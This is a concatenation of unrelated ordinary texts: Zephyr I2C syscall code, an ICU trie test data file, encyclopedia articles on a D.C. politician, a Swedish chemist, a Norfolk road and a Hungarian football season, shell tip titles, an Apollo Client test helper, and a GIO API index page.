K_OOPS(K_SYSCALL_VERIFY(num_msgs >= 1 && num_msgs < 32));
/* We need to be able to read the overall array of messages */
K_OOPS(K_SYSCALL_MEMORY_ARRAY_READ(msgs, num_msgs,
sizeof(struct i2c_msg)));
return copy_msgs_and_transfer((const struct device *)dev,
(struct i2c_msg *)msgs,
(uint8_t)num_msgs, (uint16_t)addr);
}
#include <zephyr/syscalls/i2c_transfer_mrsh.c>
static inline int z_vrfy_i2c_target_driver_register(const struct device *dev)
{
K_OOPS(K_SYSCALL_OBJ(dev, K_OBJ_DRIVER_I2C));
return z_impl_i2c_target_driver_register(dev);
}
#include <zephyr/syscalls/i2c_target_driver_register_mrsh.c>
static inline int z_vrfy_i2c_target_driver_unregister(const struct device *dev)
{
K_OOPS(K_SYSCALL_OBJ(dev, K_OBJ_DRIVER_I2C));
return z_impl_i2c_target_driver_unregister(dev);
}
#include <zephyr/syscalls/i2c_target_driver_unregister_mrsh.c>
static inline int z_vrfy_i2c_recover_bus(const struct device *dev)
{
K_OOPS(K_SYSCALL_OBJ(dev, K_OBJ_DRIVER_I2C));
return z_impl_i2c_recover_bus(dev);
}
#include <zephyr/syscalls/i2c_recover_bus_mrsh.c>
```
|
```toml
#
# file name: set-empty.16
#
# machine-generated by: ucptrietest.c
[code_point_trie.struct]
name = "set-empty.16"
index = [
0,0x40,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
]
data_16 = [
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
3,0xad
]
indexLength = 1024
dataLength = 130
highStart = 0x0
shifted12HighStart = 0x0
type = 0
valueWidth = 0
index3NullOffset = 0x7fff
dataNullOffset = 0x0
nullValue = 0x3
[code_point_trie.testdata]
# Array of (limit, value) pairs
checkRanges = [
0,3,0x110000,3
]
```
|
John K. Evans III (born October 31, 1953) is an American lawyer and politician who served on the Council of the District of Columbia from 1991 to 2020 before resigning due to numerous ethics violations. Evans served as the chairman of the board of the Washington Metropolitan Area Transit Authority (WMATA) until its ethics committee found he violated conflict of interest rules. A member of the Democratic Party, he represented Ward 2 of Washington, D.C. from May 1991 to January 2020, making him the D.C. Council's longest-serving lawmaker. He ran for Mayor in 1998 and 2014, but lost in the Democratic primary both times.
Early life and education
John K. Evans III was born in Nanticoke, Pennsylvania, the son of a florist and a school teacher. He received an economics degree with honors (cum laude) from the Wharton School of the University of Pennsylvania in 1975, and a J.D. degree from the University of Pittsburgh School of Law in 1978. He began practicing law in Washington, D.C. at the Securities and Exchange Commission in the Division of Enforcement.
Career
Evans was elected to the D.C. Council in 1991 in a special election to replace John A. Wilson, who had run for council chairman and won. He was sworn in on May 13, 1991. He had previously served as a member of Advisory Neighborhood Commission 2B in Dupont Circle. Evans was elected to serve as chairman of the ANC from 1989 to 1990. He was the Councilmember for Ward 2 from 1991 to 2020, which included Chinatown, Logan Circle, Dupont Circle, Sheridan-Kalorama, Foggy Bottom, the West End, Georgetown, Burleith, Hillandale, and much of Downtown Washington (including the White House, the National Mall, and the U.S. Capitol Building).
On the D.C. Council, Evans served as chairman of the council's Committee on Finance and Revenue until 2019 when he was removed following ethics investigations. During his time on the council, Evans authored D.C.'s Earned Income Tax Credit (EITC) legislation.
Evans was a delegate at every Democratic National Convention from 1992 to 2016, as well as D.C. Co-Chair of the 2004 Howard Dean presidential campaign, the 1992 and 1996 Bill Clinton presidential campaigns, the 2012 Barack Obama presidential campaign and the 2008 and 2016 Hillary Clinton presidential campaigns. He was a Presidential Elector for the District of Columbia in 1992, 2004, and 2016. He also served as D.C. Democratic Party treasurer from 1988 to 1991, Board Chairman for the Metropolitan Washington Council of Governments in 1995, and was elected Democratic National Committeeman for the District on the Democratic National Committee in 2018.
Evans first ran for mayor in 1998, coming in third behind Anthony A. Williams and fellow Councilmember Kevin P. Chavous. Evans launched his second campaign for mayor on June 8, 2013. By December 10, his campaign had raised over $1,000,000, making him the top fundraising candidate and the first to break the million-dollar mark. On January 27, the campaign had turned in more than 10,000 petition signatures, the largest collection of signatures by a mayoral candidate in the 2014 race. Evans finished in fourth place with 4,039 votes.
Ethics investigations
Evans has faced multiple ethics investigations, including using his position on the WMATA Board of Directors for personal gain. Other investigations found Evans took payments from EagleBank, Colonial Parking, Wilco Construction, Exelon, and other companies with business before the D.C. Council and WMATA. A federal grand jury investigation of Evans' business relationships included an FBI raid of Evans' residence in June 2019. In August 2019, the D.C. Board of Ethics and Government Accountability (BEGA) found that there was "substantial evidence" that Evans violated rules restricting officials from using their offices for private gains. The ethics board fined him $20,000. At the conclusion of the investigation he received an additional fine in May 2020 for $35,000, the largest ever levied by the agency, for violating the council's code of conduct regarding conflicts of interest. In 2022, a spokesperson for the DC Office of Attorney General said that Evans had paid off the $55,000 he owed in fines ahead of schedule. The US Attorney's office announced later that year that the federal investigation had concluded with no criminal charges.
After reviewing the findings of a Council-funded investigation, all twelve other Councilmembers recommended his expulsion in December 2019. Before a final expulsion vote could be held, he announced his resignation.
Ten days after leaving his seat on January 17, 2020, he filed paperwork to run in the special election to replace him as well as in the primary for the next regular election, a move condemned by all of his former Council colleagues. Evans finished seventh in the Democratic Primary, garnering 3.8% of the vote.
Evans has been criticized for using his constituent service funds to purchase tickets to sporting events. The Washington Post calculated that Evans had spent $135,897 on sporting events and directed $101,564 toward charitable organizations over the previous decade. Evans explained that, as a major advocate of local sports, he used funds for the benefit of Little League Baseball teams and other constituents that cannot afford to attend sports events. In 2015, Evans used his constituent services fund to reimburse himself for a $50 parking ticket. In 2016, the Council approved a $20,000 increase to the funding limits of constituent services funds at Evans' request.
Other employment
During his time on the D.C. Council, Evans' outside employment includes work as an insurance executive for Central Benefits Mutual Insurance Co., as an of counsel attorney at the Squire Patton Boggs law firm from 2001 until 2015, and earlier as a partner with the firm BakerHostetler. In October 2015, Evans became Counsel to the law firm of Manatt, Phelps & Phillips. He resigned from the firm in November 2017.
In 2016, Evans formed a company called NSE Consulting, using a prominent lobbyist as the firm's registered agent. Among the clients of NSE Consulting were development and investment firms Willco and EastBanc and the parent company of Colonial Parking, all of whom stood to benefit from legislation Evans introduced. Facing federal scrutiny and calls for his resignation, Evans announced he would no longer pursue outside income and outside consulting. In March 2019, he renewed the business registration for NSE Consulting, claiming he was following advice of counsel.
In 2018, the D.C. Board of Ethics and Government Accountability opened an investigation into Evans's dealings with digital sign company Digi Media, to determine whether Evans had violated the council's code of conduct by lobbying on the company's behalf. Evans denies violating ethics rules. In December 2018, the ethics board suspended the inquiry because of an ongoing law enforcement investigation. In September 2018, a federal grand jury issued a subpoena for documents relating to the matter. In March 2019, the investigation was expanded to include Evans' relationship with several large D.C. businesses and lobbying firms.
Evans was reprimanded by a unanimous council motion in March 2019 for using his D.C. Council staff and email to solicit business from law firms that lobby the city. Resisting calls to remove him from Chair of the Finance and Revenue Committee, Chairman Phil Mendelson stripped him of oversight of Events DC and the DC Commission on the Arts and Humanities. Evans apologized and claimed that he had stopped outside consulting. Following further revelations that Evans had violated ethics rules during his time as Chairman of WMATA, the Council removed him from Committee leadership and reached a split vote about whether to remove him from all committee assignments.
As revelations about Evans' outside employment grew, calls for his resignation from the D.C. Council followed. In May 2019, a recall campaign was launched by local activist Adam Eidinger. Other activists launched a website titled "Sack Jack" calling for his resignation and detailing the ethics charges. In July 2019, David Grosso was the first member of the D.C. Council to call for Evans' resignation. The Council commissioned a report by a D.C. law firm, which found multiple instances when Evans took official actions which benefited his clients, none of which were disclosed. House Republicans sought to delay markup of House Resolution 51, which provides Statehood for the District of Columbia, due to concerns over Evans' ethics. Evans said that Republicans were citing his behavior because they lacked any valid reasons to oppose Statehood. On December 3, 2019, all of his Council colleagues voted to recommend his expulsion, the first time that step had been taken.
Political positions
Evans supports gay rights. According to the Washington Blade, "Evans has been the lead sponsor or co-sponsor of virtually every LGBT-supportive bill that has come before the legislative body." In 2009, Evans co-sponsored the bill that legalized same-sex marriage in D.C. The nation's capital became the first jurisdiction in the United States south of the Mason–Dixon line to allow same-sex couples to marry.
Evans supported the construction of the Verizon Center, which opened in 1997 in his ward and became home to the Washington Wizards, Washington Mystics, and Washington Capitals as they moved from suburban Maryland to Downtown Washington. He played a key role in the negotiations that brought the Montreal Expos franchise to Washington, D.C., in 2005, and in the council's 2004 decision to finance a stadium for the Washington Nationals. In 2016, Evans stated that he opposed proposed legislation that would impose a cap on public funding for a new Wizards practice facility.
In 2001, Evans introduced successful legislation to overturn a 1994 referendum that had limited members of the D.C. Council to two terms. Evans argued that by denying voters their choice of candidates, term limits were undemocratic.
Evans has several times introduced legislation to ban Council involvement in the contract procurement process, a practice which Evans has described as "a recipe for mischief," and which the Washington Post said in 2015, "practically invites losing bidders and their lobbyists to attempt an end run."
In July 2012, Evans sponsored legislation to delay the direct election of D.C.'s attorney general. Voters had previously approved a charter amendment making the post an elected, rather than appointed, position. Evans expressed concern that the city was not ready for the scheduled 2014 vote, noting among other things that no candidates had emerged for the position. In June 2014, a federal appeals court invalidated the legislation and ordered that the vote take place as scheduled.
In 2013, Evans co-sponsored introduced emergency measures to keep application-based services like Uber, Lyft, and Sidecar street legal.
Evans favors the return of the Washington Football Team to the District of Columbia, and has said that neither the personality of the team's owner, Daniel Snyder, nor the previous controversy over the team's name should be relevant to that effort. As he explained, "whatever it's called, whoever owns it is not relevant, because that will change over time."
In 2016, the D.C. Council considered legislation that would provide paid family and medical leave to employees in the District of Columbia and fund the benefits by new taxes on all District businesses. Evans opposed the new tax, calling the proposed legislation an "absurdity" because most of the benefits would be received by residents of neighboring Maryland and Virginia, not those of the District, whose businesses would be taxed. As an alternative, Evans co-introduced legislation which would have afforded the same paid leave, but in lieu of a tax, would have required private employers to pay employees for the time off. Although supported by the Mayor and major business groups, the alternative failed, and the original proposal passed the council by a vote of 9–4.
Washington Metropolitan Area Transit Authority
Evans has twice served as the primary director from the District of the Columbia on the Washington Metropolitan Area Transit Authority (WMATA), first from 1993 to 1999 and again from 2015 through June 2019. He served as chairman of the board three times (1994, 1997, and 2016). In 2016, Evans advocated reform of the agency and additional funding from the federal government. In November 2016, Evans urged that Metro's challenges should be addressed by a federal takeover, in an arrangement akin to the control board that rescued the District from financial crisis in the 1990s. In 2016, Evans stated that Metro's 16-member board was cumbersome and unworkable. Evans also cautioned that establishment of a control board would face major legal and political challenges, and acknowledged that the proposal was unlikely to win much backing. He sought the investigation of Laz Parking, a WMATA contractor and competitor of Colonial Parking, a NSE consulting client that was paying him $50,000 a year. While serving as Chairman of WMATA, he simultaneously was hired by 10 firms that had business with WMATA, receiving a total undisclosed payment of $325,000 annually.
In May 2019, Evans said he would not serve another term as Chairman of WMATA. Evans initially claimed that he decided not to seek reelection as chairman voluntarily. Following the disclosure of a 20-page memo that identified 16 different ways in which Evans violated either the board's ethics code or the Metro Compact, the founding charter of WMATA, Evans said he had a poor recollection of the events and was focused on how he could update his disclosures. Maryland Governor Larry Hogan said that he was too ethically compromised and repeatedly called for him to step down from the board entirely. In a June 2019 letter, Evans said that he would no longer serve on Metro's board following the completion of his term as chairman.
It was also revealed that Evans attempted to pressure Metro General Counsel Patricia Lee and board corporate secretary Jennifer Green Ellison in order to conceal the ethics violation.
Committees
Evans served on the following committees at the time of his resignation:
Committee on Business and Economic Development
Committee on Government Operations
Committee on Transportation and the Environment
Personal life
Evans married Noel Soderberg in 1994. The couple had three children together, triplets. Soderberg died in September 2003 after a long battle with breast cancer. Evans married Michele Seiver in 2010. They split in 2014 and ultimately divorced. Evans is a member of the Christ Church in Georgetown and the Foundry United Methodist Church in Dupont Circle, for which he served as Chair of the annual AIDS fundraiser from 2001 to 2003.
Evans has been frequently criticized in the media and by the public for violating city parking regulations with his personal vehicle. In 2014, he issued a statement apologizing for extended parking in front of a fire hydrant, and in 2018, he was filmed telling a bystander "if I park illegally, that opens up a spot for you" while also accusing the bystander of harassment and threatening to "call somebody" to address the situation.
Election history
References
External links
Official website
1953 births
Living people
2004 United States presidential electors
2016 United States presidential electors
21st-century American politicians
Lawyers from Washington, D.C.
Members of the Council of the District of Columbia
People associated with BakerHostetler
People from Dupont Circle
People from Nanticoke, Pennsylvania
University of Pittsburgh School of Law alumni
Washington, D.C., Democrats
Washington, D.C., government officials
Wharton School of the University of Pennsylvania alumni
People associated with Squire Patton Boggs
|
Henrik Gustaf Söderbaum (12 March 1862 in Kalmar – 1933 in Djursholm) was a Swedish chemist and secretary of the Royal Swedish Academy of Sciences from 1923 to 1933.
Söderbaum enrolled at Uppsala University 1879, and was awarded his Ph.D. in 1888 for the thesis Studier öfver platooxalylföreningar ("Studies of platooxalyl compounds"), and was made docent in chemistry the same year. He was made a senior lecturer in chemistry and chemical technology at Chalmers Polytechnic Institute in Gothenburg in 1893. In 1899, he was made professor of agricultural chemistry at Royal Swedish Academy of Agriculture's experimental field in 1899. When the experimental field was reorganised as the Central Establishment for Agricultural Trials in 1907, he was made head of this organisation's chemical department, and remained on this post until 1923.
Söderbaum's scientific activities until 1896 were devoted partially to the studies complex platinum compounds, and partially and primarily to the synthesis and investigation of organic compounds of various classes. Later, he partially devoted himself to the history of chemistry, and especially to the biography of Jöns Jacob Berzelius (from 1901 he edited the Royal Swedish Academy of Sciences' Berzelius publications) and partially to agricultural chemistry, where his investigations into assimilation of phosphorus and the action of various nitrogen fertilizers were seen as important.
His more important works on Berzelius included Berzelius’ werden und wachsen 1779-1821 ("Berzelius' formation and growth 1779-1821", in German) (1899), Jacob Berzelius. Själfbiografiska anteckningar ("Jacob Berzelius. Biographical notes") (1901), Jacob Berzelius. Reseanteckningar ("Jacob Berzelius. Travel notes") (1903) och Jacob Berzelius. Bref ("Jacob Berzelius. Letters") (volumes I-II, 1912, III, 1913, IV, 1915, V, 1918).
Söderbaum was a member of the Royal Swedish Academy of Sciences from 1898, the Academy's president 1912-1913, member of the Nobel Committee for Chemistry from 1900, member of the Royal Society of Sciences and Letters in Gothenburg from 1898, member of the Royal Swedish Academy of Agriculture from 1901, and of the Royal Society of Sciences in Uppsala from 1921. 1918 he was made deputy secretary of the Royal Swedish Academy of Sciences, and was the Academy's secretary from 1923 to his death in 1933. From 1925 he was a member of the board of the Nobel Foundation.
Henrik Gustaf Söderbaum was father to the Swedish-German actress Kristina Söderbaum.
References
Swedish chemists
Academic staff of the Chalmers University of Technology
Members of the Royal Swedish Academy of Sciences
1862 births
1933 deaths
Members of the Royal Society of Sciences and Letters in Gothenburg
Members of the Royal Society of Sciences in Uppsala
|
The B1145 runs for about through the county of Norfolk, England, between King’s Lynn and Mundesley. The road is an alternative route to the A47 between King's Lynn and Norwich by way of the A1067 from Bawdeswell onwards.
History
This ancient route predates the Norman Conquest and remained the main east–west route through the county until the 17th century. It can be seen quiet clearly on William Faden’s map of Norfolk, which was surveyed between 1790 and 1794. This map, the first large-scale map (at one inch to the mile) of the whole county, is a record of the landscape and transport system of the county of Norfolk in late 18th century and shows that despite the Parliamentary Enclosure of the early 19th century the route has changed very little. Much of the route on the map is highlighted in a pale pink, which marks it out as an important artery of the time.
Part of the roads route lies directly on the line of a Roman road between a point west of North Elmham for the distance of to where the road reaches the village of Bawdeswell. The route is dissected by several Roman roads, including the Peddars Way in the North West of Norfolk.
Road schemes at Bawdeswell, Aylsham and North Walsham have created interruptions to the original route, although the vast majority of it remains intact.
Coaching route
The B1145 also was part of the King's Lynn–to–Great Yarmouth coaching route. On the route at Litcham stands The Bull Inn, a 17th-century coaching inn of which some parts date further back to the 14th century. The Bull provided the first change of horses on this coaching route out of King’s Lynn.
Destinations
From west to east the road passes through:
Bawsey
Ashwicken
Gayton
Litcham
Mileham
Brisley
North Elmham
Billingford
Bawdeswell
Pettywell
Reepham
Cawston
Aylsham
Felmingham
North Walsham
Swafield
Knapton
Mundesley
References
Roads in England
Transport in Norfolk
|
Statistics of Nemzeti Bajnokság I in the 1986–87 season.
Overview
It was contested by 16 teams, and MTK Hungária FC won the championship.
League standings
Results
Statistical leaders
Top goalscorers
References
Hungary - List of final tables (RSSSF)
Nemzeti Bajnokság I seasons
1986–87 in Hungarian football
Hun
|
```shell
Repeating commands with `watch`
Rapidly invoke an editor to write a long, complex, or tricky command
Terminal incognito mode
Get to know your commands with `type`
Keep useful commands in your shell history with tags
```
|
```xml
import type {
ObservableSubscription,
Observable,
} from "../../utilities/index.js";
import { asyncMap } from "../../utilities/index.js";
export default function subscribeAndCount<TResult>(
reject: (reason: any) => any,
observable: Observable<TResult>,
cb: (handleCount: number, result: TResult) => any
): ObservableSubscription {
// Use a Promise queue to prevent callbacks from being run out of order.
let queue = Promise.resolve();
let handleCount = 0;
const subscription = asyncMap(observable, (result) => {
// All previous asynchronous callbacks must complete before cb can
// be invoked with this result.
return (queue = queue
.then(() => {
return cb(++handleCount, result);
})
.catch(error));
}).subscribe({ error });
function error(e: any) {
subscription.unsubscribe();
reject(e);
}
return subscription;
}
```
|
```html
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<td><a accesskey="p" href="api-index-2-32.html"><img src="left.png" width="16" height="16" border="0" alt="Prev"></a></td>
<td><a accesskey="n" href="api-index-2-36.html"><img src="right.png" width="16" height="16" border="0" alt="Next"></a></td>
</tr></table>
<div class="index">
<div class="titlepage"><div><div><h1 class="title">
<a name="api-index-2-34"></a>Index of new symbols in 2.34</h1></div></div></div>
<a name="idx"></a><a name="idxA"></a><h3 class="title">A</h3>
<dt>
<a class="link" href="GApplicationCommandLine.html#g-application-command-line-get-stdin" title="g_application_command_line_get_stdin()">g_application_command_line_get_stdin</a>, function in <a class="link" href="GApplicationCommandLine.html" title="GApplicationCommandLine">GApplicationCommandLine</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GApplication.html#g-application-get-dbus-connection" title="g_application_get_dbus_connection()">g_application_get_dbus_connection</a>, function in <a class="link" href="GApplication.html" title="GApplication">GApplication</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GApplication.html#g-application-get-dbus-object-path" title="g_application_get_dbus_object_path()">g_application_get_dbus_object_path</a>, function in <a class="link" href="GApplication.html" title="GApplication">GApplication</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GAppInfo.html#g-app-info-get-supported-types" title="g_app_info_get_supported_types()">g_app_info_get_supported_types</a>, function in <a class="link" href="GAppInfo.html" title="GAppInfo">GAppInfo</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GAsyncResult.html#g-async-result-is-tagged" title="g_async_result_is_tagged()">g_async_result_is_tagged</a>, function in <a class="link" href="GAsyncResult.html" title="GAsyncResult">GAsyncResult</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GAsyncResult.html#g-async-result-legacy-propagate-error" title="g_async_result_legacy_propagate_error()">g_async_result_legacy_propagate_error</a>, function in <a class="link" href="GAsyncResult.html" title="GAsyncResult">GAsyncResult</a>
</dt>
<dd></dd>
<a name="idxC"></a><h3 class="title">C</h3>
<dt>
<a class="link" href="gio-GContentType.html#g-content-type-get-generic-icon-name" title="g_content_type_get_generic_icon_name()">g_content_type_get_generic_icon_name</a>, function in <a class="link" href="gio-GContentType.html" title="GContentType">GContentType</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-GContentType.html#g-content-type-get-symbolic-icon" title="g_content_type_get_symbolic_icon()">g_content_type_get_symbolic_icon</a>, function in <a class="link" href="gio-GContentType.html" title="GContentType">GContentType</a>
</dt>
<dd></dd>
<a name="idxD"></a><h3 class="title">D</h3>
<dt>
<a class="link" href="GDBusAuthObserver.html#GDBusAuthObserver-allow-mechanism" title="The allow-mechanism signal">GDBusAuthObserver::allow-mechanism</a>, object signal in <a class="link" href="GDBusAuthObserver.html" title="GDBusAuthObserver">GDBusAuthObserver</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GDBusAuthObserver.html#g-dbus-auth-observer-allow-mechanism" title="g_dbus_auth_observer_allow_mechanism()">g_dbus_auth_observer_allow_mechanism</a>, function in <a class="link" href="GDBusAuthObserver.html" title="GDBusAuthObserver">GDBusAuthObserver</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GDBusConnection.html#g-dbus-connection-get-last-serial" title="g_dbus_connection_get_last_serial()">g_dbus_connection_get_last_serial</a>, function in <a class="link" href="GDBusConnection.html" title="GDBusConnection">GDBusConnection</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GDBusObjectManagerServer.html#g-dbus-object-manager-server-is-exported" title="g_dbus_object_manager_server_is_exported()">g_dbus_object_manager_server_is_exported</a>, function in <a class="link" href="GDBusObjectManagerServer.html" title="GDBusObjectManagerServer">GDBusObjectManagerServer</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-Desktop-file-based-GAppInfo.html#g-desktop-app-info-get-startup-wm-class" title="g_desktop_app_info_get_startup_wm_class()">g_desktop_app_info_get_startup_wm_class</a>, function in <a class="link" href="gio-Desktop-file-based-GAppInfo.html" title="GDesktopAppInfo">Desktop file based GAppInfo</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GDrive.html#g-drive-get-symbolic-icon" title="g_drive_get_symbolic_icon()">g_drive_get_symbolic_icon</a>, function in <a class="link" href="GDrive.html" title="GDrive">GDrive</a>
</dt>
<dd></dd>
<a name="idxF"></a><h3 class="title">F</h3>
<dt>
<a class="link" href="GFileInfo.html#G-FILE-ATTRIBUTE-STANDARD-SYMBOLIC-ICON:CAPS" title="G_FILE_ATTRIBUTE_STANDARD_SYMBOLIC_ICON">G_FILE_ATTRIBUTE_STANDARD_SYMBOLIC_ICON</a>, macro in <a class="link" href="GFileInfo.html" title="GFileInfo">GFileInfo</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GFile.html#g-file-delete-async" title="g_file_delete_async()">g_file_delete_async</a>, function in <a class="link" href="GFile.html" title="GFile">GFile</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GFile.html#g-file-delete-finish" title="g_file_delete_finish()">g_file_delete_finish</a>, function in <a class="link" href="GFile.html" title="GFile">GFile</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GFileInfo.html#g-file-info-get-symbolic-icon" title="g_file_info_get_symbolic_icon()">g_file_info_get_symbolic_icon</a>, function in <a class="link" href="GFileInfo.html" title="GFileInfo">GFileInfo</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GFileInfo.html#g-file-info-set-symbolic-icon" title="g_file_info_set_symbolic_icon()">g_file_info_set_symbolic_icon</a>, function in <a class="link" href="GFileInfo.html" title="GFileInfo">GFileInfo</a>
</dt>
<dd></dd>
<a name="idxI"></a><h3 class="title">I</h3>
<dt>
<a class="link" href="GInputStream.html#g-input-stream-read-bytes" title="g_input_stream_read_bytes()">g_input_stream_read_bytes</a>, function in <a class="link" href="GInputStream.html" title="GInputStream">GInputStream</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GInputStream.html#g-input-stream-read-bytes-async" title="g_input_stream_read_bytes_async()">g_input_stream_read_bytes_async</a>, function in <a class="link" href="GInputStream.html" title="GInputStream">GInputStream</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GInputStream.html#g-input-stream-read-bytes-finish" title="g_input_stream_read_bytes_finish()">g_input_stream_read_bytes_finish</a>, function in <a class="link" href="GInputStream.html" title="GInputStream">GInputStream</a>
</dt>
<dd></dd>
<a name="idxM"></a><h3 class="title">M</h3>
<dt>
<a class="link" href="GMemoryInputStream.html#g-memory-input-stream-add-bytes" title="g_memory_input_stream_add_bytes()">g_memory_input_stream_add_bytes</a>, function in <a class="link" href="GMemoryInputStream.html" title="GMemoryInputStream">GMemoryInputStream</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMemoryInputStream.html#g-memory-input-stream-new-from-bytes" title="g_memory_input_stream_new_from_bytes()">g_memory_input_stream_new_from_bytes</a>, function in <a class="link" href="GMemoryInputStream.html" title="GMemoryInputStream">GMemoryInputStream</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMemoryOutputStream.html#g-memory-output-stream-steal-as-bytes" title="g_memory_output_stream_steal_as_bytes()">g_memory_output_stream_steal_as_bytes</a>, function in <a class="link" href="GMemoryOutputStream.html" title="GMemoryOutputStream">GMemoryOutputStream</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMenu.html#g-menu-item-get-attribute" title="g_menu_item_get_attribute()">g_menu_item_get_attribute</a>, function in <a class="link" href="GMenu.html" title="GMenu">GMenu</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMenu.html#g-menu-item-get-attribute-value" title="g_menu_item_get_attribute_value()">g_menu_item_get_attribute_value</a>, function in <a class="link" href="GMenu.html" title="GMenu">GMenu</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMenu.html#g-menu-item-get-link" title="g_menu_item_get_link()">g_menu_item_get_link</a>, function in <a class="link" href="GMenu.html" title="GMenu">GMenu</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMenu.html#g-menu-item-new-from-model" title="g_menu_item_new_from_model()">g_menu_item_new_from_model</a>, function in <a class="link" href="GMenu.html" title="GMenu">GMenu</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMountOperation.html#GMountOperation-show-unmount-progress" title="The show-unmount-progress signal">GMountOperation::show-unmount-progress</a>, object signal in <a class="link" href="GMountOperation.html" title="GMountOperation">GMountOperation</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GMount.html#g-mount-get-symbolic-icon" title="g_mount_get_symbolic_icon()">g_mount_get_symbolic_icon</a>, function in <a class="link" href="GMount.html" title="GMount">GMount</a>
</dt>
<dd></dd>
<a name="idxP"></a><h3 class="title">P</h3>
<dt>
<a class="link" href="gio-gpollableutils.html#g-pollable-source-new-full" title="g_pollable_source_new_full()">g_pollable_source_new_full</a>, function in <a class="link" href="gio-gpollableutils.html" title="gpollableutils">gpollableutils</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-gpollableutils.html#g-pollable-stream-read" title="g_pollable_stream_read()">g_pollable_stream_read</a>, function in <a class="link" href="gio-gpollableutils.html" title="gpollableutils">gpollableutils</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-gpollableutils.html#g-pollable-stream-write" title="g_pollable_stream_write()">g_pollable_stream_write</a>, function in <a class="link" href="gio-gpollableutils.html" title="gpollableutils">gpollableutils</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-gpollableutils.html#g-pollable-stream-write-all" title="g_pollable_stream_write_all()">g_pollable_stream_write_all</a>, function in <a class="link" href="gio-gpollableutils.html" title="gpollableutils">gpollableutils</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GProxyAddress.html#GProxyAddress--destination-protocol" title="The destination-protocol property">GProxyAddress:destination-protocol</a>, object property in <a class="link" href="GProxyAddress.html" title="GProxyAddress">GProxyAddress</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GProxyAddress.html#GProxyAddress--uri" title="The uri property">GProxyAddress:uri</a>, object property in <a class="link" href="GProxyAddress.html" title="GProxyAddress">GProxyAddress</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GProxyAddress.html#g-proxy-address-get-destination-protocol" title="g_proxy_address_get_destination_protocol()">g_proxy_address_get_destination_protocol</a>, function in <a class="link" href="GProxyAddress.html" title="GProxyAddress">GProxyAddress</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GProxyAddress.html#g-proxy-address-get-uri" title="g_proxy_address_get_uri()">g_proxy_address_get_uri</a>, function in <a class="link" href="GProxyAddress.html" title="GProxyAddress">GProxyAddress</a>
</dt>
<dd></dd>
<a name="idxR"></a><h3 class="title">R</h3>
<dt>
<a class="link" href="GResolver.html#GResolverRecordType" title="enum GResolverRecordType">GResolverRecordType</a>, enum in <a class="link" href="GResolver.html" title="GResolver">GResolver</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GResolver.html#g-resolver-lookup-records" title="g_resolver_lookup_records()">g_resolver_lookup_records</a>, function in <a class="link" href="GResolver.html" title="GResolver">GResolver</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GResolver.html#g-resolver-lookup-records-async" title="g_resolver_lookup_records_async()">g_resolver_lookup_records_async</a>, function in <a class="link" href="GResolver.html" title="GResolver">GResolver</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GResolver.html#g-resolver-lookup-records-finish" title="g_resolver_lookup_records_finish()">g_resolver_lookup_records_finish</a>, function in <a class="link" href="GResolver.html" title="GResolver">GResolver</a>
</dt>
<dd></dd>
<a name="idxS"></a><h3 class="title">S</h3>
<dt>
<a class="link" href="gio-GSettingsSchema-GSettingsSchemaSource.html#g-settings-schema-key-get-description" title="g_settings_schema_key_get_description()">g_settings_schema_key_get_description</a>, function in <a class="link" href="gio-GSettingsSchema-GSettingsSchemaSource.html" title="GSettingsSchema, GSettingsSchemaSource">GSettingsSchema, GSettingsSchemaSource</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-GSettingsSchema-GSettingsSchemaSource.html#g-settings-schema-key-get-summary" title="g_settings_schema_key_get_summary()">g_settings_schema_key_get_summary</a>, function in <a class="link" href="gio-GSettingsSchema-GSettingsSchemaSource.html" title="GSettingsSchema, GSettingsSchemaSource">GSettingsSchema, GSettingsSchemaSource</a>
</dt>
